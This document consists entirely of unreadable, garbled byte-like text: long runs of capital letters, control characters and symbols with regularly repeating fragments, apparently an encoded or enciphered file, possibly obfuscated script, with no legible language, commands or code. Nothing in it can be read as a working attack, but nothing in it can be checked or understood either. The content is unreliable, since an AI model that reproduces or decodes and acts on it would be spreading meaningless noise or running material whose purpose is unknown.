ORP_NOWW RUORP^NNGGGOC +(%&+4<WW RUOR_WN:NGGGGGG	QU 
OR_VNO^8UVUVOR_UNNNGGGXGGGVGG]GGW\mCS^WR<^8UVUVOR_TN:GGZGGGGGO	NG 8	O8Q TOSSPNKGGGWN\mGCS^WR<8Q TOR_SN:GGGZGO	NGGGG 8	OWW RUORWQNKGGGWN\mmmGCS^WR<^8UVUVOR_RN:GGGZGGGO	NGGGG 8	O8Q TOR_QNKGWN\mmmGGGGGGCQ8
VSVGZGU^ _UO^8UVUVOR_PNKGGGGGONN\CTVWZ7/78*&-(581"54.()\CR ^U8ZCTVWMS\mGGGC	^GGZGGW\mGC8PGGZGW\mGGGGGGGGGGO^8UVUVOSQVNOCQ8
VSVNNGGmmGGGGOCQ8
VSVGGGGGGC U_WR
UNGGGGGmGGO^S_SV8PUOC U_WR
UNGGGZZZGGGEENGG		\mGGC	^LL\mGGC^R_RGGZG^8UVUVOR__NOC U_WR
UNGGGXGGGO	NGGGOOC U_WR
U<	QU 
OR_^N:NGGGGXGGC U_WR
U<8Q TOR_^N:GGG]GGGGGVNGG]GGV\mGCT__GZG^8UVUVOR^WNOC U_WR
UNGAAGGGGGOC U_WR
U<8Q TOR^VN:NGGXGGO	NGGC U_WR
U<^8UVUVOR^UN:GG]GGW\mGGGGOFC^R_RGGAAGGGGOFCT__GGGGCT__GGGG[G^8UVUVORRSNONGGJGGGOVURPLUTSTNNNGGGGC8PLL\mGmGGGGGGmGGCS^WR<	QU 
OR^TN:GGGGGZGGC	^\mmmGGCS^WR<WW RUOR^SN:GGZGGC8P\mGGGGCRVWVGZGWW RUOR^RNO^8UVUVORU^NNGGGGGXGGGG' 8	OWW RUOR^QNKGGGGGGEENGG]GGGEE\mGGCS^WR<8Q TOR^PN:GGZGG8Q TOR^_NOCRVWVNGXGG8Q TOR^^NOCRVWVKGGGGGWKGGOULTNNG]GGEE\mC_T	^UPGGZGWW RUOQWWNOWW RUOQWVNNGGXGGG' 8	O8Q TOQWUNKGGGONNGG]GGGON\mGCS^WR<WW RUOQWTN:GGGZGGO^8UVUVOR^WNOC_T	^UPNGAAGOF
OC_T	^UP<@@:NGGGGF
OC_T	^UP<	QU 
OQWSN:NNNGGXGGGVGG]GGW\mGGGGGGO3GGC  PNGGGmGGCS^WR<^8UVUVOQWRN:GGGZGG8Q TOR^^NOC  PJY * ONKGGGWKGGGOVVPJRPNN\mmmmGGGGO"	GC  PNGGmGGGCS^WR<^8UVUVOQWRN:GGGZGWW RUOR^^NOC  PJY * ONKGGGWKGGOTSLUQNN\mmGGG	GGCS^WR\mGGGGGGGmGGGGGGmGGGGGG		GGVTU_PR	^SONmGGGmGGGGGGO	QU 
OQWQNO8Q TOSU^NNNGmGGGG	GGGO	 NGGGG8O8Q TOQWPNN\mGGmG	GGG	QU 
OQW_NO^8UVUVOQW^NNGGGXGGO	 NG8 	8ONGG]GGGGGGEE\mmGGGGGGmG		GGGPQ
P
WS	U^OCTRP^NmGGmGCPV	UUUGZGEE\mGO^8UVUVOQVWNO8Q TOS^^NNNGmGCPV	UUUGGZGGO	 NGGGGWW RUOQVVNO
8ONKGGGGG		O8Q TOQVUNNN\mmmGGGGGGGGGOFGGGGGCPV	UUUGAAGGG	QU 
OQVTNO^8UVUVOQVSNNNGGmCPV	UUUGZGO	 NGGG	QU 
OQVVNO 88ONKGGG		O8Q TOQVUNNN\mmmmmGGGGGOFGGGGGGCPV	UUUGGAAGWW RUOQVTNO^8UVUVOQVRNNNGGGmCPV	UUUGZGGGO	 NG8Q TOQVVNO 8 	O^8UVUVOQVQNNKGG		O^8UVUVOQVUNNN\mGGGGGmGGGGGOFGGGCPV	UUUGAAG8Q TOQVPNOWW RUOQWVNNNGmGCPV	UUUGZGGO	 NGGWW RUOQV_NOO	 NG 8	O^8UVUVOQV^NKGGGGEENKGG		OWW RUOQVUNNN\mGGGGGmGGOFGGGGCPV	UUUGGGGGAAGGGGOC84"51"5<	QU 
OQUWN:NNGGmGCPV	UUUGGZGGO	 NGGC84"51"5<	QU 
OQUVN:\mGGGmGGGGGGGGOFGCPV	UUUGGGGGAAGGOC84"51"5<	QU 
OQUUN:NNGGmmmmGCPV	UUUGGGGZGGO	 NGGGC84"51"5<^8UVUVOQUTN:\mGGGmGGGGOFGGGCPV	UUUNGGmGGGG	GGCTRP^\mGmGGGGGGG	GGGCPV	UUU\mmmGGGG		GGGGGTS
PONmGGGGGGGGmHMGGGMHmmGGmGC
PSGGZGGG8Q TOQUSNOWW RUO^QNNGGGGXGO	NG'	QU 
O^QNOWW RUOQURNNGGGGG]GGW\mGGGO^8UVUVOQUSNO8Q TOQUQNNNGG'8Q TOQUQNOOQPLVVTNN\mGC	
	TGGZGGOC
PSGYGGGOVQLSNGAAGGC
PSG[GGGOVU_9RUNNGGGXGGGOC
PSGGGJGOVRJRNNG]GGOOC
PSGGYGGWGGGGAAGGC
PSGGG[ZGOW^LWNNGGXGGGOVTJTNGGGGG]GGOTTLRPNN\mGGGOFGG	8P	VONNGmGGG	\mGGGmGOF^PVWO8Q TOSUSNNNGGGGmG	\mmGGGGmmGGGCV^STQGGZG8Q TOQUPNON\mCP8
GGGGZGGG

UU
SUVON\mGGGGOmGGGGGFGGG8Q TOR^WNOCP8
NmmGGGGGGGFGGGGGOCP8
<^8UVUVOTPPN:NGGGGGFG8Q TOR^_NOCP8
<WW RUOTPPN:NGGGGGFGGGCP8
<	QU 
OQU_N:mmGGFGGGGGOCP8
<	QU 
OTPUN:NGGGGGGFG8Q TOR^WNOCP8
<WW RUOTPUN:NGGGGG
OCP8
<8Q TOTPUN:NmGGGGGGGGNGGGGmGTTP ON\mmmGG	\mmGGGC	SSUQ^8PGZGCP8
<8Q TOQU_N:\mmGGC
8PVQ^GZGCP8
<8Q TOQU^N:\mGG_8U^ P O8Q TOTPTNKGGGC	SSUQ^8PKGGWW RUOS^SNN\mmC888UGGGGZG	QU 
OQTWNOWW RUOQWVNNGGGGXGGO	 NGGGGG 8	O8Q TOQTVNKGGGEENG]GGEE\mGGGGGGGGGOC888UGGGGFZZGEEGAAGGGGGWW RUOV_PNOC888UKGC
8PVQ^KGNNGmGGGC
8PVQ^GGZGGWW RUOTQTNOWW RUOUTUNOC
8PVQ^KGOC888UNNN\mGGGGG^8UVUVOQTUNOC
8PVQ^N\mGG8Q TOTSWNOC
8PVQ^KGGGGC888UN\mGGGGGGGGO^8UVUVOVTWNOC
8PVQ^NGYGGGGVNGmGGGG	QU 
OQTUNOC
8PVQ^N\mmmmmGGGmGGGGOO^8UVUVOQUPNONGGGGGGJGCV^STQNGGYGGGO	NGGGOC	
	TGGGGGMGWIQNNGGGmHHG JG mmGGGTTP ON\mmmmG	\mmGGGGmmGC^_GGZGGWWW		WUT^ON\mmmGP SQOC^_N\C8WWPZ7/78.)38*&?H7/78.)38*&?\C	RR_S
ZC8WWPLVP\mGGGGmC
	8WRGZGGON\mmGGGGO	QU 
OQTWNO8Q TOQTTNNNGGmGGGGOONGG 8	O	QU 
OUVSNKGGGGGONNGGGGC
8SP_NGGmGGGGGGGOWW RUOR^_NOC
8SP_NGGGGGGAAGGC
8SP_NGGGGmmmmGGC
	8WR<:GZGGGC
8SP_\mGmGGGGmGGGGmGGmGGGGGC^^	GGGGGZGGGGGON\CRVQTZT^LPP\C
8RZCRVQTJUQ\mGGGGGGO	O8Q TOQTSNNNGmmmGCQ
GZGGGWW RUOQTWNO^8UVUVOTWVNNGXGGGG'	QU 
OQTRNO^8UVUVOQTQNO07*287+2 .)8#.5KGGG@H@NGGGIG^8UVUVOQTPNNG]GGGGG\mGGO^8UVUVOR^WNOCQ
NNGGmGGGGOCQ
GGGC	S^RWNGmmC^^	<:GGGGZGGGG	QU 
OQT_NOC	S^RWN\mGGGGmmmGGmGC WS^
TGZGGGOmmGGWW RUOQT^NGGGZYGGGGGPQ
P
WS	U^OEENKmG	QU 
OQSWNGGZYGGGGGG^8
U_U
ONKmmmmGGGWW RUOQSVNGGGGGGZYGGGWW RUOQT_NO^RRONKGG8Q TOQSUNNKmWW RUOQSTNGZYG8Q TOQTQNO&%47&3/KGGGWW RUOQSSNNKmG^8UVUVOQSRNGGGGZYGGGGC
	8WRKmG8Q TOQSQNGZYGGC^^	KmWW RUOQSPNGGGZYGGVTU_PR	^SONKmGGG^8UVUVOQS_NGZYGWQ8
UP
POC^_NKm8Q TOQS^NGGGZYG88TQ
8	^UUOC^_NKm^8UVUVOQRWNGGGGZYGOC_P8GGZGGU^^8VP8RTW
ONNKmGGGGGmGN\mGGCPPGGGGZGGG^8UVUVOQRVNOWW RUOQRUNNGXG8	8	OC WS^
TNGGG]G8Q TOQRTNOC WS^
TN\mGCTV8GZGGGGWRQ _WSOCPPKGGC	SSUQ^8PN\mC^^RQSGGZGGGOWW RUOTSSNGGZYGG	QU 
OQRSNN\mGGGC	TT_GZGG	\mGGGGGGGGTTP ON\mmmGmGGGGOC
8PVQ^GGGGCTR	UW TWNGGmGGGmGGGGGGOO^8UVUVOQUPNONGJGGCV^STQNGYGGGC	
	TNGGmGGGG\mGGmHHG	GG	mmmmmCTR	UW TWGGGGGZGGGG^8UVUVOQRRNOO	 NGGGGGCTR	UW TWN\C^^RSZRVRR\CSR	UZC^^RSBS\mGGGGGGGGOFGCTR	UW TWNGmGGG		\mGGGmmmGGGGmGGGGC_S_	_GZGGGGC	SSUQ^8P\mGGGGGGGCVQQT  GZGGG^UUPOCTR	UW TWKGGGGGGCTV8KGC^^RQSKGGGGOW_LWUNKGGGGG		GGGOC
^_UWNGGGGGGOC_S_	_NGGGmGCS^WRGGZGGGWRQ _WSOC
^_UWKGGGC_S_	_N\mGGGGOFCS^WRNGG	GGG\mGGGGGG	G^8UVUVOR^WNO'^8UVUVOQRQNO^8UVUVOQRRNOCS^WRNKGNN\mN\mGGGOFGCVQQT  NGGmHMGG	GMHmmGGGWS	V VQPOWW RUOQRPNKGGGGGWW RUOQR_NGGIGCTR	UW TWN\mGG		\mGmGGGmCRPPWGGGGZGWRQ _WSOCVQQT  KGGGGGC	SSUQ^8PN\mGGGGGGOFGGGCRPPWNGmHHGGmmGGGGWS	V VQPO^8UVUVOQR^NKGGGGG^8UVUVOQQWNGIGGGCTR	UW TWN\mGGG		\mGmmmGGC	TT_GGGZGGGG'WW RUOQQVNO	QU 
OQQUNOCRPPWNKGGN\mGGGO8Q TOR^WNOC	TT_NNGGGmGGO8Q TOQRVNO8Q TOTQ_NNNGGmG8	O	QU 
OQQTNKGGGGGGCTR	UW TWN\mGGGGmGGGGGGG\mGGGGmmGGGGGGGmGGWS	V VQPO^8UVUVOQR^NKGGGGWW RUOQQSNGGIGGGGGCTR	UW TWN\mmmmmmGGGGGGGGGGGO3GGC  PNGmGWS	V VQPO	QU 
OQQRNKGC  PN\mGGGG		\mGGGGGGGGGGGGO"	GC  PNGGmGGGGGGG		\CW8TZOWPRLWT_N\CPZCW8TB^\mGmmGGGOFGWW RUOR^WNOC	TT_NNGmGCS
VPQUGGGZGGGWRQ _WSO	QU 
OQRTNOOmGGGGGGGG8Q TOQT^NGGGGZYGGGPQ
P
WS	U^OEENKmWW RUOQQQNGGGGZYGGG^8
U_U
ONKmGGG8Q TOQSVNGZYG	QU 
OQT_NO^RRONKGGWW RUOQSUNNKmGGGG8Q TOQQPNGGGZYGVKmGGGGGGNNKGGGGC	SSUQ^8PN\mGGC8VPW_
GGGGZG	QU 
OQTQNOOWW RUOT_SNOCS
VPQUNKG	QU 
OQQ_NKGG^8UVUVOQQ^NNKG@Z@N\mC
VQ
8WGGZGGGGGWW RUOQPWNOC8VPW_
KGO^VRLS_RNN\mGGGGOC
8PVQ^GGGGGGGGCTR	UW TWNGGGGmGGOO	QU 
OQUPNONGJGGGGCV^STQNGGGYGGGC	
	TNGGm\mGmGGCTR	UW TWGGGZGGGGG^8UVUVOQQUNOO	 NGGCTR	UW TWN\mmmGGGGGGGGOCTR	UW TWGZZZGGGGEENGGmGG		\mGGGGGGGmC	GGGZGG^U  

VROPQ
P
WS	U^OEENGIGGGG	QU 
OQUPNONKGOULQNN\mmmmGC
GGZGGGGGWW RUOVTWNOC
VQ
8WN\mGC_	GZGGO^8UVUVORQ_NOCTR	UW TWKGG@X@NGZZZGGGNGGGXGGGG@X@GGG]GGG@A@\mGGGGOC^UQ8GZGGGW\GGGGGGC^UQ8GG[GGC
\GC^UQ8LLNGmGGGGOO^8UVUVOQPVNONGJGGGCV^STQNGYGGC	
	TNGmGGG\mGmmGCQT
8SGZGGGGGGOC^UQ8GGGGZZZGC
GJGGVN\mGCPVTVPGGGZGGGGCTR	UW TWGIGGGGC_	GIGGGG	QU 
OQPUNGIGGGC	GGGGGIGWW RUOQPTNGIGGC^UQ8GIG	QU 
OQPSNGGIGGC
GGGIG8Q TOQPRNGGIGGGC
VQ
8W<C^UQ8:\mmmmGGGC8VWQVRGZGGGP^^^_OCPVTVPKGGOU[[UNKGGGCQT
8SGGGXGGG		GOC
^_UWNGGGGGGGOC	SSUQ^8PNGmGCS^WRGGGZGWRQ _WSOC
^_UWKGC	SSUQ^8PN\mGGGGOFCS^WRNGG	G\mGGG	GG8Q TOR^WNO'	QU 
OQQVNO^8UVUVOQQUNOCS^WRNKGGGNN\mmGGGG]G	N\mGGGGGGOCQT
8SGAAGGWW RUOQPQNOC8VWQVRNGAAGC8VWQVRGFZZGGGEENGGmC8 GGZGGWRQ _WSOC8VWQVRKGC	SSUQ^8PN\mGC
WSQGGGGZGC8 GGGXGGG'8Q TOQQVNO8Q TOQQUNOC8 NKGNGGGG]GGG	\C8__V^ ZPPVSS\C	
_WVZC8__V^ 9VSQ\mGGGOWW RUOQPPNOC
WSQNNGGGmGGC	TT_GGZGGGGC
WSQ\mGGGGO^8UVUVOQRVNO	QU 
OTQ_NNNGmGG8	OWW RUOQQTNKGCTR	UW TWN\mGGGmmmmGG\mmGmGGGGmGmmmGGGGGGGGO8Q TOQP_NOC	TT_NNGGmGG\mmGGmmmmGGGGGGOFG	QU 
OQP^NOC	TT_NNGGGGmmm	\mGGGGGmGGGGGGGGGOC_P8GGGGAAG	QU 
OQRVNO^8UVUVOQ_WNNNGGGGmGGGGG8	O^8 WP_O8Q TOQRWNNN\mGGGGGGmGGGOFOC +(%&+4<WW RUOQ_VN:NGGF^8UVUVOQP^NOC +(%&+4<^8UVUVOQ_VN:NNGGGC +(%&+4<8Q TOQ_VN:GGGGGGZGON\mC +(%&+4<^8UVUVOQ_VN:GGZGGGGWW RUOQ_UNOWW RUOUTUNOC +(%&+4<	QU 
OQ_TN:KGGGC_P8NN\mGGGGGGGOOC	TT_<	QU 
OQSVN:NGAAGGG^8UVUVOQPQNOC	TT_<WW RUOQ_SN:NNGGmHHG

GmmSWPV OC	TT_<8Q TOQ_RN:KGOC	TT_<^8UVUVOQ_QN:NGGGAAGGG^8UVUVOQ_PNOC	TT_<	QU 
OQ__N:NGGXGC	TT_<^8UVUVOQ__N:GGGGG]GEEKGF
OC	TT_<8Q TOQ_^N:NN\CW
USZVT_VQS\CWUZCW
US9_U\mGGGmGGGGGGGmGGGGGCT^ ^P_	GGGGZG\mC8T^T_SVTGGZGGGON\mmGGGGGOOC	TT_<^8UVUVOQ^WN:NGAAGGWW RUOQP^NOC	TT_<WW RUOQ^WN:NNGmGCWPGZGGGON\mGGmGGGGGOC	TT_<WW RUOQ^WN:GGC	WTVT ^NGmGGGGGO	QU 
OQ_PNOC	WTVT ^NGGGAAGC	WTVT ^GGGFZZGEENGmGGGGCWP<:GGZGC	WTVT ^\mmmmGGGGmmmGGGCPSGZGGC +(%&+4<	QU 
OQ^VN:\mmmmGGGGCWPGGZGGGGG8	 ROCWPN\mGGGGGGGC +(%&+4<^8UVUVOQ^UN:GGZGGGGCWP\mGGGC8T^T_SVT<8Q TOQ^WN:GGZGGCWP\mGGGGOFG
O^8UVUVOUTUNOCWPKGCPSNNGGGFG
O8Q TOUTUNOCPSKGCWPNNNGGGmGCT^ ^P_	GZG\mGGGGmGGmGmGGGGOOC	TT_<^8UVUVOSQQN:NGAAGWW RUOQ^TNOC	TT_<^8UVUVOQ^SN:NNGGmmmGGGCWPGGGZGGON\mGGGmGGGGOC	TT_<8Q TOQ^SN:GGGGGGGGC	WTVT ^NGGGmmmGGGGGGGGO8Q TOQ_PNOC	WTVT ^NGAAGGC	WTVT ^GGGGGFZZGGEENGmGGGGCWP<:GGGGZGC	WTVT ^\mGGmmmGmGGCPSGZGGGGC +(%&+4<^8UVUVOSQRN:\mGGCWPGGZG8	 ROCWPN\mC +(%&+4<8Q TOSQRN:GGZGCWP\mGC8T^T_SVT<	QU 
OQ^SN:GGGGGGZGGCWP\mGGGGGGGGGOFGGG
O	QU 
OUTUNOCWPKGCPSNNGGGGGGFGG
O^8UVUVOQ^RNOCPSKGGGGGCWPNNNGGGGGGmmmmGCT^ ^P_	GZGGGG\mGmmGGGGGGGGGOOC	TT_<WW RUOSQPN:NGAAGG	QU 
OQ_PNOC	TT_<^8UVUVOSQPN:NNGmGGC8^WT_PGGGGZGG_	8VUST
UO	QU 
OQ^QNKGGEEN\mGC +(%&+4<	QU 
OQ^PN:GGZGC	TT_<WW RUOSQPN:\mGGC8T^T_SVT<WW RUOQ^_N:GGGZGC	TT_<	QU 
OQ^_N:\mGGGGGO	QU 
OT^TNOC	TT_<^8UVUVOQ^_N:NGFZZGWW RUOQ^^NOC8^WT_PNNGGmmGGGG_8U^ P O^8UVUVOPWWNKGGC	TT_<8Q TOQ^_N:KGGG8Q TOS^SNN\mGQ _8WON\mm	OC8^WT_PN\mGGGGmGGCTUGGGZGGGOC	TT_<	QU 
OT^RN:NGGGGAAGGG	QU 
OPWVNOC	TT_<^8UVUVOT^RN:NGGXGC	TT_<8Q TOT^RN:G]GGGGGGON\C^ZOWULWUN\C  RVURZC^B_\mGGGOOCTU<	QU 
OSPTN:NGGAAGG	QU 
OPWUNOCTU<WW RUOSPTN:NNGmGGGGO^8UVUVOPWTNOCTU<^8UVUVOSPTN:NGGYGOUULU_NNGGGGGmGC +(%&+4<	QU 
OPWSN:GGGGGZGCTU<8Q TOSPTN:\mGGGC8T^T_SVT<8Q TOPWRN:GGGZGGCTU<	QU 
OPWQN:\mGGGGGGGGGGGmGGGGGGC +(%&+4<8Q TOPWSN:GZGGEE\mGGGGC8T^T_SVT<8Q TOPWQN:GGZGEE\mGGGGG_8U^ P OWW RUOPWPNKGGGEEKGGGGG8Q TOS^SNN\mmmmmGGmGGGGGOOCTU<	QU 
OT^RN:NGGAAGG^8UVUVOPWUNOCTU<^8UVUVOPW_N:NNGmGGO8Q TOPW^NOCTU<8Q TOPW_N:NGYGGGGOV_WJ_WNNGGC8Z7/78.)38*&?H7/78.)38*&?\C_ RQ8ZC8LVV\mGGC +(%&+4<WW RUOSPSN:GGZGGCTU<WW RUOPW_N:\mGGC8T^T_SVT<WW RUOPVWN:GGGGZGGCTU<WW RUOPVWN:\mmmmGGGGGGGmGGGGGGC +(%&+4<^8UVUVOSPSN:GGZGGGEE\mmmGGGC8T^T_SVT<WW RUOPVVN:GGZGGEE\mG_8U^ P O^8UVUVOT^^NKGGEEKGGGG8Q TOPVUNN\mGmmGGmmmmGC		PVGZGGGOC	TT_<	QU 
OPVTN:NGGAAGGGGG8Q TOPWVNOC	TT_<8Q TOPVSN:NGGXGGC	TT_<WW RUOPVRN:GGGG]GGGGGGON\mGGC___SQGGGZGOmGG8Q TOPVQNGGZYGGGGG8Q TOPVQNKmWW RUOPVPNGGGGZYGGWW RUOPV_NKmGGGGGGWW RUOPV^NGGZYGGGG	QU 
OPUWNKmGGGGG	QU 
OPUVNGZYGGGWW RUOPUUNKmmGGGGWW RUOPUTNGGZYGG8Q TOPUSNKmGGGWW RUOPURNGGGGGZYGGWW RUOPUQNKm	QU 
OPUPNGGZYGG	QU 
OPU_NKm8Q TOPU^NGZYGWW RUOPTWNKmGN\mGGGGGOC___SQGGGGGGC_	WVP GGZYGCW	QVUP	SNGGmGGGOOC		PV<C_	WVP :NGGAAGGGG^8UVUVOPWUNOC		PV<C_	WVP :NGGGAAG	QU 
OPW^NOC		PV<C_	WVP :NGGYGGOVTLTPNNGGmGGGGC8T^T_SVT<CW	QVUP	S:GGGGGGZGGC		PV<C_	WVP :\mmGGGGmmGGGGGmGGGGGGGGGOOC	TT_<8Q TORWSN:NGGAAGGGG8Q TOPTVNOC	TT_<^8UVUVORWSN:NNGGmGGGGC R 
GZGGGGGO	NGC	TT_<	QU 
ORWSN:\mGGGGGGGOC R 
GGYZGGOUV^L_VNGGGAAGC R 
GGGGG[ZGGO_QTVUL__NNGGC8T^T_SVT<8Q TORWSN:GGZGGGGGC R 
\mmmmGGGGmGGGGOOC	TT_<	QU 
OPTUN:NGGGGAAG	QU 
OPTTNOC	TT_<WW RUOPTUN:NNGmGGGGC8GGGGGZGGO	NGC	TT_<8Q TOPTUN:\mHHGG	GmmGGGGGOC8GYZGGGGOWLWTVNGGGGAAGGGGGC8G[ZGO_QT_PLVTNNGC8T^T_SVT<^8UVUVOPTUN:GGZGC8\mmmmGGGGGmmGGGGGGGO
OC8T^T_SVTNNGGm8	O	QU 
OR_QNN\mGG8	O^8UVUVOPTSNN\mmGGG8	O8Q TOPTRNKGG8Q TORRSNONN\m8		O^8UVUVOPTQNN\mGGGQSVON\mmGG
 RW8TS8STON\mG	\mmGmGCV SGGGZGV
^R^ Q		QV O^8UVUVOPTPNKGGGN\mGGGO8Q TOPT_NOCV SNNGGmC8T^T_SVTGGZGWW RUOSWTNOCV SKGGGGC8T^T_SVTN\mGGGGmmmmGmGGGGO^8UVUVOQRVNOWW RUOS^UNNNGGmHHG07GQIUG	 	]G 	GJ	mmGC	U
PGGGGGZGG88V8VVON\mGGOOC8T^T_SVT<^8UVUVORWSN:NGGAAGGO	NGGGGC8T^T_SVT<	QU 
ORWSN:GGGGYZGOS^VJV^VNGAAGO	NGGGGGC8T^T_SVT<WW RUORWSN:G[ZGGOSR^WPLSWS^TNNGGGC	U
PGGGZGO	NGGGGC8T^T_SVT<^8UVUVORWSN:\m8		OPS_US^_ONKGGGC8T^T_SVTKGGGC	U
PN\mGGmGGGmm
VR_WWO^8UVUVOPT^NKGC8T^T_SVTKGGGGGWW RUOPSWNN\mGGGGGOOC8T^T_SVT<WW RUOPTUN:NGGAAGG^8UVUVOPSVNO8Q TOPSUNNGGGGGAAGG^8UVUVOPSVNO8Q TOPSTNNGGAAGGGGWW RUOPSVNO^8UVUVOSUTNNNGGmGC
VVWGGGGZG8 88	O	QPRONN\mGGGOC
VVWGGGGAAGGO	NGGC
VVWJY	GFZZGGGGGGO	NGGGGGC8T^T_SVT<^8UVUVOPTUN:NGGmGGGGGG888O	QPRONN\m88	OWW RUORRSNONGGGGLGGGGGWW RUOSURNOOUVS9UTSNKGGGGGGOU_ULV_NNKGGGGG^8UVUVOPSSNKGG	QPRONN\mGGmmmmmGG8	O^8UVUVOPSRNKGG	QU 
ORRSNONN\mG8	OWW RUOR_QNN\mGG8	O	QU 
OPSQNN\mG8		OWW RUOPTQNN\mGQSVON\mGG
 RW8TS8STON\mmmmGGmGOCT^ ^P_	NGGGmmGP^UON\mmmGmGGGGGGO3GGC  PNGGGmGGGGGWS	V VQPO8Q TOQR^NKGGGC  PN\mGGGGGO"	GC  PNGmGGGGG	GGGGGGmGT_TV 		^O	QU 
OSUSNN\mGGmmmmGmGGGmGG		GGGGGSWPV OCS^
UKGGGGGGCW_GGZGGGEEKGCRRGGZGGGGGNmGGmGGGGOF^PVWO	QU 
OSUSNNNG	\mmGGGGmGGGGmGCWV8888WRTGZG'8Q TOT_QNOCS^
UKGN\mmmmGGGGO	QU 
OPWUNOCWV8888WRTNGGGAAGG8Q TOPW^NOCWV8888WRTNGGGYGGGOVWS_RRWLUQNNGGGGGCWV8888WRTGGGGZGG8 	  OCWV8888WRTN\mGGGGGGGGGGGOFGCWV8888WRTGGGGGGGGG	QU 
OPW^NOCWV8888WRTNG[GOWVLWPNGGGGWW RUORQ_NOCWV8888WRTKGGG	QU 
OPSPNNGGGFZZGGWNGGmGG	\mGmGGGGGOFGW^RTOCWV8888WRTNNGmGGWS	V VQPO^8UVUVOPS_NKGWW RUOPS^NN\m	\mmGGGGGOWW RUOPPNO^8UVUVOUVUNKG	QU 
OPRWNOCWV8888WRTKGGWKGGGGOWVLWRTNNKGGCPWQ	NNGGmmmGGOCW_GGGGFZZGGEEGGGAAGCW_GGFZZGGGGCPWQ	<V:NGmHHG07G!G4G"	 ]G
G
	 J	mmmmmGWS	V VQPO	QU 
OPS_NKGGWW RUOPRVNN\mG	\mGGGGmCW_GGGGGZGGGCPWQ	<V:\mmmmGGGGGGmWS	V VQPO8Q TOPS_NKGGG8Q TOPRUNN\mGG	\mmmmGGGGGGGmGGGOFCRRGGGAAGGGGG	8
OCW_KGG^8
U_U
ONNG[ZGGGGGGWNGm	\mGGGGGGGGmGC__^WW	V8	GGZGG	W
_RUTTON\mGGGGOFC__^WW	V8	GGGGGGWW RUOPW^NOC__^WW	V8	NGGGG[GGO^_LSWUNNGmGGWS	V VQPO^8UVUVOPS_NKG^8UVUVOPRTNN\mGG	\C	RTWZ7/78*&-(581"54.()\C_S
_RZC	RTWMR\mmmmGGGGGGGmCTP	P	WGGGZG 8	O8Q TOV_UNN\mGGGGGO8Q TOPWUNOCTP	P	WNGGAAGG^8UVUVORQ_NOCTP	P	WKG8Q TOPRSNOCWV8888WRTNGGGGGGIGG@@NGGGGZZZGGGGWNGGGGmmGC	SP
GGGGGZGGGGO	NG^8UVUVOPRWNOCTP	P	WKGGGGWW RUORQ_NOCTP	P	WKGGGG@@NGGLGGGVN\mGGGO8Q TORRSNONGJGC	SP
G[GGGGGGO_QTWUL^_NNGGGGmGGGG	\mGmGGGGGmGGGC	
^
GGGZGG8Q TOV^UNO^RRONNGIGGGGGWW RUOV_WNGGGIGGWW RUOPRRNOCWV8888WRTN\mmmGGGGGO'^8UVUVORQTNOC	
^
NNGmmCRGGZGGGGG'O	NGG^8UVUVOP^NOC	
^
N\mGGGOCRGGGGAAGGWW RUORRSNONGGJGCRGG[GGGOWP_LWT_NNGmG	\mm'8Q TOPRQNOC	
^
N\mmGGGGGGG	OC	
^
KGCRN\mGGGGGCPTPQGGGGZGGG\mGO	QU 
OPSVNO	QU 
OSTWNNGGGGGGAAGGG^8UVUVOPRPNO8Q TOPR_NNNGGGGGmmmmC8 TRSTGGGZGWW RUOSTWNO
8O@H@NKGO	QU 
OTVWNGGZYGGGOQP9PRNKGG8Q TOPR^NGZYGUKGWW RUOPQWNGGZYGGNN\mGOFGO^8UVUVOPQVNO	QU 
OTVTNNGGGAAGG88OC8 TRSTNNNGGmCPTPQGGZGGO	NG8
88	8OC8 TRSTNGYZGOSP^LUVN\mGGmHHG'G	mmmmGmmmmCPU	QUGGGZG\mGGGGO8Q TOPQUNO^8UVUVOPQTNNNGGmGGGGGGGC V
TRGGGGGGZG 8	O^8UVUVOUVSNKGGONN\mGCPU	QUGZGG	QU 
OPQSNOC V
TRNGGGGGAAGG8Q TOV_PNOV8QU_8ONKGGC V
TRKGGGN\mGGmHHG	G	Gmm



T_WO^RRONKGOV^LSWVNN\mmGGGGGGGGOFGSS8^

TVO^RRONKGGGG_^UQUSOCWV8888WRTNNNGGmHMGJG	GMHmmGGWS	V VQPO8Q TOPQRNKGGGG8Q TOPQQNN\mGG	\mGGGmGS_R^W8O^RRONN\mGGGVRQU8O^RRONN\mGGGGGGO	QU 
OPQUNO^8UVUVOPQPNNNG'8		O8Q TOPQ_NKGGVKGGGOU__LVUNN\mmmmGGOFGGGGCPTPQGAAGG8Q TOPQUNO^8UVUVOPQ^NNGGGGGGAAGGGG^8UVUVOPQUNO^8UVUVOPPWNNNGGmmmCWUWRGGZGGGJV\mGGGGGGOCVTRGGGGZGGW\GGCVTRG[GU\GGCVTRLLNGGGmmmGGCWSP	GGZGGG8Q TOPPVNO
8O^8UVUVOPPUNGIG	QU 
OPPTNOO^^^^PLTNKGGGGGGOVU_STPL_PVRQUNNNKGGO	QU 
OPPSNGGGZYGGOWPLWVNKG^8UVUVOPR^NGZYGUKGGGWW RUOPQWNGGGGZYGGNN\mmmGGGO8Q TOPQUNO^8UVUVOTVTNNGGGGAAG88OCWSP	NNGGGmGGGGGGGOCVTRGGZZZGGGGGWGGGGAAGGWW RUOPQUNO	QU 
OPPRNNNGGG8Q TOPPRNOUN\m		\mGGmGGGGC	_	 V_GGGGGZGO	NG8
88	8OCWSP	N\mGGGGGGGGOC	_	 V_GG[GGOTULQ_NGGWW RUOV_PNOC	_	 V_KGOOSS_LRRNKGGOPLRVTNKGGO^^RJSPSNKGGGGGO^QQJSSSNKGGGGGGOQTSJVVVNKGGORVWLVSNKGORVSLVUNKGOWVTLWTNNKGGNNGGmmmmGGGGGGOCVTRGGZZZGWGGAAGGG8Q TOPQUNO^8UVUVOPPQNNNGGGWW RUOPPPNOUN\m		\mmGGCWUWRGZGGGC	_	 V_\mGGGG\mGGGmmmmGGOCWUWRGGGGZZZGGJVNGGGCWUWRGGZGOSPVLU^N\GmGGOCWUWRGYZGGGOVPSLTUQNNGGmGCQVW
GGGGGZGGGGGSS8^

TVO^RRONKG_^UQUSOC__^WW	V8	NN\mmmmGGGGGGGGGOFCQVW
NGGCQVW
GGZGGSS8^

TVO^RRONKGGGGC__^WW	V8	N\mG8	OWW RUOV_UNKG	QU 
OPRRNOCWV8888WRTNGGGGGIGG@@GGGGIGG^8UVUVORRSNONKG^8UVUVOPSWNN\mmmGGGGGGGOFCQVW
NGGmmmGGGWS	V VQPO8Q TOPQRNKGG	QU 
